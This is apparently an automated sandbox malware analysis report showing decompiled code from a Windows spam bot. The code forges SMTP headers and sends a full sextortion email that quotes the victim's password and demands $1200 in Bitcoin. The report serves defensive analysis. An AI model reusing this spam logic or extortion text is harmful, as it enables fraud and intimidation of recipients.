                                                                                                                                                                                                                                                                                                                                                      0x010a18d0
                                                                                                                                                                                                                                                                                                                                                      0x010a18d6
                                                                                                                                                                                                                                                                                                                                                      0x010a18dd
                                                                                                                                                                                                                                                                                                                                                      0x010a18f5
                                                                                                                                                                                                                                                                                                                                                      0x010a18fb
                                                                                                                                                                                                                                                                                                                                                      0x010a18fe
                                                                                                                                                                                                                                                                                                                                                      0x010a1903
                                                                                                                                                                                                                                                                                                                                                      0x010a1904
                                                                                                                                                                                                                                                                                                                                                      0x010a1906
                                                                                                                                                                                                                                                                                                                                                      0x010a1908
                                                                                                                                                                                                                                                                                                                                                      0x010a190a
                                                                                                                                                                                                                                                                                                                                                      0x010a190d
                                                                                                                                                                                                                                                                                                                                                      0x010a190e
                                                                                                                                                                                                                                                                                                                                                      0x010a1913
                                                                                                                                                                                                                                                                                                                                                      0x010a191a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a191e
                                                                                                                                                                                                                                                                                                                                                      0x010a1920
                                                                                                                                                                                                                                                                                                                                                      0x010a1923
                                                                                                                                                                                                                                                                                                                                                      0x010a1924
                                                                                                                                                                                                                                                                                                                                                      0x010a192b
                                                                                                                                                                                                                                                                                                                                                      0x010a192b
                                                                                                                                                                                                                                                                                                                                                      0x010a1933
                                                                                                                                                                                                                                                                                                                                                      0x010a1938
                                                                                                                                                                                                                                                                                                                                                      0x010a1939
                                                                                                                                                                                                                                                                                                                                                      0x010a1944

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: GetTickCount.KERNEL32 ref: 010A132A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: srand.MSVCRT ref: 010A1331
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: rand.MSVCRT ref: 010A1353
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1320: sprintf.MSVCRT ref: 010A136E
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A18F5
                                                                                                                                                                                                                                                                                                                                                      • DnsQuery_A.DNSAPI(?,00000001,00000000,00000000,00000000,00000000), ref: 010A190E
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 010A1924
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(00000064,00000000,00000001,?,00000001,00000000,00000000,00000000,00000000), ref: 010A192B
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 010A1939
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Free$CountQuery_SleepTickrandsprintfsrandwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s.com
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1475087645-2211145920
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f5c77e4e16d28f0c0edfc26917675c0e57c6516348ed3a428dce82e686d668cf
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 27fcdf21a5c738d8e097efa04225c9249e74598010da32ded5ea70a1370c6bb1
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f5c77e4e16d28f0c0edfc26917675c0e57c6516348ed3a428dce82e686d668cf
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 42018175A80308BFDB20EBE0DC46FEE7738AB50700F904158FA456E1C1D6B6AB44C7A1
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 272 10a1760-10a178a DnsQuery_A 273 10a17bf-10a17ca DnsFree 272->273 274 10a178c-10a17a4 call 10a16e0 272->274 276 10a17cc-10a17cf 273->276 274->273 278 10a17a6-10a17bd DnsFree closesocket 274->278 278->276
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 31%
                                                                                                                                                                                                                                                                                                                                                      			E010A1760() {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _t12;
				intOrPtr _t14;

				_v8 = 0;
				_push(0);
				_t12 =  &_v8;
				_push(_t12);
				_push(0);
				_push(0);
				_push(0xf);
				_push("mail.ru"); // executed
				L010A2AEE(); // executed
				_v12 = _t12;
				if(_v12 != 0) {
					L3:
					_push(1);
					_push(_v8);
					L010A2AE8();
					return 0;
				}
				_t14 = E010A16E0( *((intOrPtr*)(_v8 + 0x18)), 0x19); // executed
				_v16 = _t14;
				if(_v16 <= 0) {
					goto L3;
				}
				L010A2AE8();
				__imp__#3(_v16, _v8, 1); // executed
				return 1;
			}








                                                                                                                                                                                                                                                                                                                                                      0x010a1766
                                                                                                                                                                                                                                                                                                                                                      0x010a176d
                                                                                                                                                                                                                                                                                                                                                      0x010a176f
                                                                                                                                                                                                                                                                                                                                                      0x010a1772
                                                                                                                                                                                                                                                                                                                                                      0x010a1773
                                                                                                                                                                                                                                                                                                                                                      0x010a1775
                                                                                                                                                                                                                                                                                                                                                      0x010a1777
                                                                                                                                                                                                                                                                                                                                                      0x010a1779
                                                                                                                                                                                                                                                                                                                                                      0x010a177e
                                                                                                                                                                                                                                                                                                                                                      0x010a1783
                                                                                                                                                                                                                                                                                                                                                      0x010a178a
                                                                                                                                                                                                                                                                                                                                                      0x010a17bf
                                                                                                                                                                                                                                                                                                                                                      0x010a17bf
                                                                                                                                                                                                                                                                                                                                                      0x010a17c4
                                                                                                                                                                                                                                                                                                                                                      0x010a17c5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a17ca
                                                                                                                                                                                                                                                                                                                                                      0x010a1795
                                                                                                                                                                                                                                                                                                                                                      0x010a179d
                                                                                                                                                                                                                                                                                                                                                      0x010a17a4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a17ac
                                                                                                                                                                                                                                                                                                                                                      0x010a17b5
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • DnsQuery_A.DNSAPI(mail.ru,0000000F,00000000,00000000,00000000,00000000), ref: 010A177E
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 010A17AC
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(00000000), ref: 010A17B5
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 010A17C5
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Free$Query_closesocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: mail.ru
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1946217314-1589806606
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f1ec047c0cdec779cfa85180baf653706bdcb7a3082135a5ff287fcaa74e8bc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 0a87ed97daa8e105bdf49ea40ca4f7197d3b7690883d1d16afa4553e0c50b6d7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f1ec047c0cdec779cfa85180baf653706bdcb7a3082135a5ff287fcaa74e8bc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DB018178E40308FFDB20EBE0CC45BDE77B4AB14B04FA041A4E940AB2C1D6B5AA45DB50
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1A70 Relevance: 7.6, APIs: 5, Instructions: 99networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 279 10a1a70-10a1a95 call 10a2340 282 10a231a-10a2320 279->282 283 10a1a9b-10a1ab6 call 10a10a0 279->283 283->282 286 10a1abc-10a1acf socket 283->286 286->282 287 10a1ad5-10a1ad9 286->287 287->282 288 10a1adf-10a1af2 connect 287->288 289 10a1af8-10a1b19 setsockopt 288->289 290 10a2304-10a2314 shutdown closesocket 288->290 291 10a1b20-10a1b24 289->291 290->282 292 10a1b2a-10a1b2e 291->292 293 10a22f8-10a2301 291->293 292->293 294 10a1b34-10a1b44 call 10a1160 292->294 293->290 296 10a1b49-10a1b59 294->296 297 10a1b5b 296->297 298 10a1b60-10a1b7f call 10a11c0 296->298 297->293 301 10a1b81 298->301 302 10a1b86-10a1ba5 298->302 301->293 303 10a1bab 302->303 304 10a22f3 302->304 303->304 304->291
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 87%
                                                                                                                                                                                                                                                                                                                                                      			E010A1A70(char* _a4, char* _a8) {
				intOrPtr _v8;
				signed int _v12;
				char _v28;
				char* _v32;
				int _v36;
				char _v140;
				char _v144;
				intOrPtr _v148;
				char _v1172;
				int _v1176;
				char _v1228;
				char* _v1232;
				char* _v1236;
				char _v1340;
				char _v1604;
				char _v1616;
				char _v1628;
				char _v1640;
				char _v1748;
				char _v1760;
				char _v1772;
				char _v1876;
				char* _v1880;
				signed int _v1884;
				intOrPtr _t188;
				char* _t191;
				intOrPtr _t195;
				char* _t196;
				void* _t223;
				void* _t224;
				void* _t225;
				void* _t226;
				void* _t227;

				_v12 = 0;
				_t188 = E010A2340(_a4, 0x40);
				_t225 = _t224 + 8;
				_v8 = _t188;
				if(_v8 == 0) {
					L57:
					return _v12;
				}
				_v8 = _v8 + 1;
				_t191 = E010A10A0(_v8,  &_v28); // executed
				_t226 = _t225 + 8;
				if(_t191 == 0) {
					goto L57;
				}
				__imp__#23(2, 1, 6); // executed
				_v32 = _t191;
				if(_v32 == 0xffffffff || _v32 == 0xffffffff) {
					goto L57;
				} else {
					__imp__#4(_v32,  &_v28, 0x10); // executed
					if(_t191 == 0xffffffff) {
						L56:
						__imp__#22(_v32, 2); // executed
						__imp__#3(_v32);
						goto L57;
					} else {
						_v144 = 1;
						__imp__#21(_v32, 6, 1,  &_v144, 4); // executed
						_v36 = 1;
						while(_v36 != 0 && _v36 != 8) {
							_t195 = E010A1160(_v32,  &_v1172, 0x400); // executed
							_t227 = _t226 + 0xc;
							_v148 = _t195;
							if(_v148 != 0) {
								 *((char*)(_t223 + _v148 - 0x490)) = 0;
								_t196 = E010A11C0( &_v1172);
								_t226 = _t227 + 4;
								__eflags = _t196;
								if(_t196 != 0) {
									_v1884 = _v36;
									_v1884 = _v1884 - 1;
									__eflags = _v1884 - 6;
									if(__eflags > 0) {
										L54:
										continue;
									}
									switch( *((intOrPtr*)(_v1884 * 4 +  &M010A2324))) {
										case 0:
											_push("ESMTP");
											_t199 = StrStrA( &_v1172);
											__eflags = _t199;
											if(_t199 == 0) {
												_t200 = wsprintfA( &_v1172, "HELO %s\r\n", "[102.129.143.78]");
												_t228 = _t226 + 0xc;
												_v1176 = _t200;
											} else {
												_t203 = wsprintfA( &_v1172, "EHLO %s\r\n", "[102.129.143.78]");
												_t228 = _t226 + 0xc;
												_v1176 = _t203;
											}
											_t202 = E010A1120(_v32,  &_v1172, _v1176); // executed
											_t226 = _t228 + 0xc;
											__eflags = _t202;
											if(_t202 != 0) {
												_v36 = 3;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 1:
											goto L54;
										case 2:
											__eax =  &_v1228;
											__eax = E010A18D0(__ecx, __eflags,  &_v1228); // executed
											__ecx =  &_v140;
											__eax = wsprintfA( &_v140, "<JohnBlue@%s>", __eax);
											__esp = __esp + 0xc;
											__eax =  &_v1172;
											__eax = wsprintfA( &_v1172, "MAIL FROM: %s\r\n",  &_v140);
											__esp = __esp + 0xc;
											_v1232 = __eax;
											__ecx = _v1232;
											__eax = _v32;
											__eax = E010A1120(_v32,  &_v1172, _v1232); // executed
											__eflags = __eax;
											if(__eax != 0) {
												_v36 = 4;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 3:
											__ecx = _a4;
											__eax = wsprintfA( &_v1172, "RCPT TO: <%s>\r\n", _a4);
											__esp = __esp + 0xc;
											_v1236 = __eax;
											__eax = _v1236;
											__ecx =  &_v1172;
											__eax = E010A1120(_v32,  &_v1172, _v1236); // executed
											__eflags = __eax;
											if(__eax != 0) {
												_v36 = 5;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 4:
											__eax = _v32;
											__eax = E010A1120(_v32, "DATA\r\n", 0xffffffff); // executed
											__eflags = __eax;
											if(__eax != 0) {
												_v36 = 6;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 5:
											__ecx =  &_v1628;
											E010A1320( &_v1628, 5,  &_v1628) = wsprintfA( &_v1340, "%s.com", __eax);
											__esp = __esp + 0xc;
											 &_v1876 = E010A1490(0,  &_v1876, 1); // executed
											Sleep(0x7d0); // executed
											__ecx =  &_v1748;
											__eax = E010A1490(0,  &_v1748, 0); // executed
											__eax =  &_v1340;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t74 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t78 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t82 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xd2;
											_t86 = __eax % 0xd2;
											E010A1390(0xd2, 7,  &_v1772) =  &_v1172;
											__eax = wsprintfA( &_v1172, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n",  &_v1172, _t86 + 1, _t82 + 1, _t78 + 1, _t74 + 1,  &_v1340,  &_v1748);
											__esp = __esp + 0x24;
											_v1880 = __eax;
											__ecx = _v1880;
											__eax = _v32;
											__eax = E010A1120(_v32,  &_v1172, _v1880); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__ecx =  &_v1876;
												E010A1320(__ecx, 3,  &_v1640) =  &_v1760;
												__eax = E010A1320(__ecx, 5,  &_v1760);
												__ecx =  &_v1172;
												__eax = wsprintfA( &_v1172, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax,  &_v1172);
												__esp = __esp + 0x14;
												_v1880 = __eax;
												__eax =  &_v1172;
												__ecx = _v32;
												__eax = E010A1120(_v32,  &_v1172, _v1880); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__eax =  &_v1172;
													__eax = wsprintfA( &_v1172, "From: John Blue %s\r\n",  &_v140);
													__esp = __esp + 0xc;
													_v1880 = __eax;
													__ecx = _v1880;
													__eax = _v32;
													__eax = E010A1120(_v32,  &_v1172, _v1880); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__ecx = _a4;
														__eax = wsprintfA( &_v1172, "To: %s\r\n", _a4);
														__esp = __esp + 0xc;
														_v1880 = __eax;
														__eax = _v1880;
														__ecx =  &_v1172;
														__eax = E010A1120(_v32,  &_v1172, _v1880); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__eax =  &_v1172;
															__eax = wsprintfA( &_v1172, "Subject: %s\r\n", "I RECORDED YOU!");
															__esp = __esp + 0xc;
															_v1880 = __eax;
															__ecx = _v1880;
															__eax = _v32;
															__eax = E010A1120(_v32,  &_v1172, _v1880); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__ecx =  &_v1748;
																__eax = wsprintfA( &_v1172, "Date: %s\r\n",  &_v1748);
																__esp = __esp + 0xc;
																_v1880 = __eax;
																__eax = _v1880;
																__ecx =  &_v1172;
																__eax = E010A1120(_v32,  &_v1172, _v1880); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__eax =  &_v1340;
																	__ecx =  &_v1640;
																	E010A1320(__ecx, 6, __ecx) = E010A1320(__ecx, 6,  &_v1760);
																	__eax =  &_v1172;
																	__eax = wsprintfA( &_v1172, "Message-ID: <%s.%s@%s>\r\n",  &_v1172,  &_v1172,  &_v1340);
																	__esp = __esp + 0x14;
																	_v1880 = __eax;
																	__ecx = _v1880;
																	__eax = _v32;
																	__eax = E010A1120(_v32,  &_v1172, _v1880); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__ecx = _v32;
																		__eax = E010A1120(_v32, "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__eax = E010A1120(_v32, "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				 &_v1604 = memset( &_v1604, 0, 0x104);
																				__ecx =  &_v1604;
																				strcpy( &_v1604, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat( &_v1604, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																				 &_v1604 = strcat( &_v1604, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																				__ecx =  &_v1604;
																				strcat( &_v1604, "If you think this is some bad joke, no, I know your password: ") =  &_v1604;
																				__eax = strcat( &_v1604, _a8);
																				__ecx =  &_v1604;
																				 &_v1604 = strcat( &_v1604, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																				__ecx =  &_v1604;
																				 &_v1604 = strcat( &_v1604, "The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC).\r\n\r\n");
																				__ecx =  &_v1604;
																				strcat( &_v1604, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") = _v32;
																				__eax = E010A1120(_v32,  &_v1604, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					__ecx =  &_v1604;
																					memset( &_v1604, 0, 0x104) = strcpy( &_v1604, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																					 &_v1604 = strcat( &_v1604, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																					__ecx =  &_v1604;
																					 &_v1604 = strcat( &_v1604, "I give you 3 days time to pay.\r\n\r\n");
																					__ecx =  &_v1604;
																					 &_v1604 = strcat( &_v1604, "ClientMailID: ");
																					__ecx =  &_v1616;
																					E010A1320( &_v1616, 7,  &_v1616) = strcat( &_v1604, __eax);
																					 &_v1604 = strcat( &_v1604, "\r\n.\r\n");
																					__ecx =  &_v1604;
																					__eax = E010A1120(_v32,  &_v1604, 0xffffffff); // executed
																					__eflags = __eax;
																					if(__eax != 0) {
																						_v36 = 7;
																					} else {
																						_v36 = 0;
																					}
																				} else {
																					_v36 = 0;
																				}
																			} else {
																				_v36 = 0;
																			}
																		} else {
																			_v36 = 0;
																		}
																	} else {
																		_v36 = 0;
																	}
																} else {
																	_v36 = 0;
																}
															} else {
																_v36 = 0;
															}
														} else {
															_v36 = 0;
														}
													} else {
														_v36 = 0;
													}
												} else {
													_v36 = 0;
												}
											} else {
												_v36 = 0;
											}
											goto L54;
										case 6:
											_v32 = E010A1120(_v32, "QUIT", 0xffffffff); // executed
											_v36 = 8;
											goto L54;
									}
								} else {
									break;
								}
							} else {
								break;
							}
						}
						_v12 = 0 | _v36 == 0x00000008;
						goto L56;
					}
				}
			}




































                                                                                                                                                                                                                                                                                                                                                      0x010a1a79
                                                                                                                                                                                                                                                                                                                                                      0x010a1a86
                                                                                                                                                                                                                                                                                                                                                      0x010a1a8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1a8e
                                                                                                                                                                                                                                                                                                                                                      0x010a1a95
                                                                                                                                                                                                                                                                                                                                                      0x010a231a
                                                                                                                                                                                                                                                                                                                                                      0x010a2320
                                                                                                                                                                                                                                                                                                                                                      0x010a2320
                                                                                                                                                                                                                                                                                                                                                      0x010a1aa1
                                                                                                                                                                                                                                                                                                                                                      0x010a1aac
                                                                                                                                                                                                                                                                                                                                                      0x010a1ab1
                                                                                                                                                                                                                                                                                                                                                      0x010a1ab6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1ac2
                                                                                                                                                                                                                                                                                                                                                      0x010a1ac8
                                                                                                                                                                                                                                                                                                                                                      0x010a1acf
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1adf
                                                                                                                                                                                                                                                                                                                                                      0x010a1ae9
                                                                                                                                                                                                                                                                                                                                                      0x010a1af2
                                                                                                                                                                                                                                                                                                                                                      0x010a2304
                                                                                                                                                                                                                                                                                                                                                      0x010a230a
                                                                                                                                                                                                                                                                                                                                                      0x010a2314
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1af8
                                                                                                                                                                                                                                                                                                                                                      0x010a1af8
                                                                                                                                                                                                                                                                                                                                                      0x010a1b13
                                                                                                                                                                                                                                                                                                                                                      0x010a1b19
                                                                                                                                                                                                                                                                                                                                                      0x010a1b20
                                                                                                                                                                                                                                                                                                                                                      0x010a1b44
                                                                                                                                                                                                                                                                                                                                                      0x010a1b49
                                                                                                                                                                                                                                                                                                                                                      0x010a1b4c
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a1b66
                                                                                                                                                                                                                                                                                                                                                      0x010a1b75
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7a
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7d
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1b89
                                                                                                                                                                                                                                                                                                                                                      0x010a1b98
                                                                                                                                                                                                                                                                                                                                                      0x010a1b9e
                                                                                                                                                                                                                                                                                                                                                      0x010a1ba5
                                                                                                                                                                                                                                                                                                                                                      0x010a22f3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22f3
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1bca
                                                                                                                                                                                                                                                                                                                                                      0x010a1bcc
                                                                                                                                                                                                                                                                                                                                                      0x010a1c01
                                                                                                                                                                                                                                                                                                                                                      0x010a1c07
                                                                                                                                                                                                                                                                                                                                                      0x010a1c0a
                                                                                                                                                                                                                                                                                                                                                      0x010a1bce
                                                                                                                                                                                                                                                                                                                                                      0x010a1bdf
                                                                                                                                                                                                                                                                                                                                                      0x010a1be5
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1c22
                                                                                                                                                                                                                                                                                                                                                      0x010a1c27
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1c3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c4d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c62
                                                                                                                                                                                                                                                                                                                                                      0x010a1c68
                                                                                                                                                                                                                                                                                                                                                      0x010a1c77
                                                                                                                                                                                                                                                                                                                                                      0x010a1c7e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c84
                                                                                                                                                                                                                                                                                                                                                      0x010a1c87
                                                                                                                                                                                                                                                                                                                                                      0x010a1c8d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9f
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca7
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cb7
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cd9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cdc
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce2
                                                                                                                                                                                                                                                                                                                                                      0x010a1ce9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cf4
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfc
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfe
                                                                                                                                                                                                                                                                                                                                                      0x010a1d0c
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d1f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d23
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2d
                                                                                                                                                                                                                                                                                                                                                      0x010a1d3b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d65
                                                                                                                                                                                                                                                                                                                                                      0x010a1d6b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d79
                                                                                                                                                                                                                                                                                                                                                      0x010a1d86
                                                                                                                                                                                                                                                                                                                                                      0x010a1d8e
                                                                                                                                                                                                                                                                                                                                                      0x010a1d97
                                                                                                                                                                                                                                                                                                                                                      0x010a1da6
                                                                                                                                                                                                                                                                                                                                                      0x010a1dad
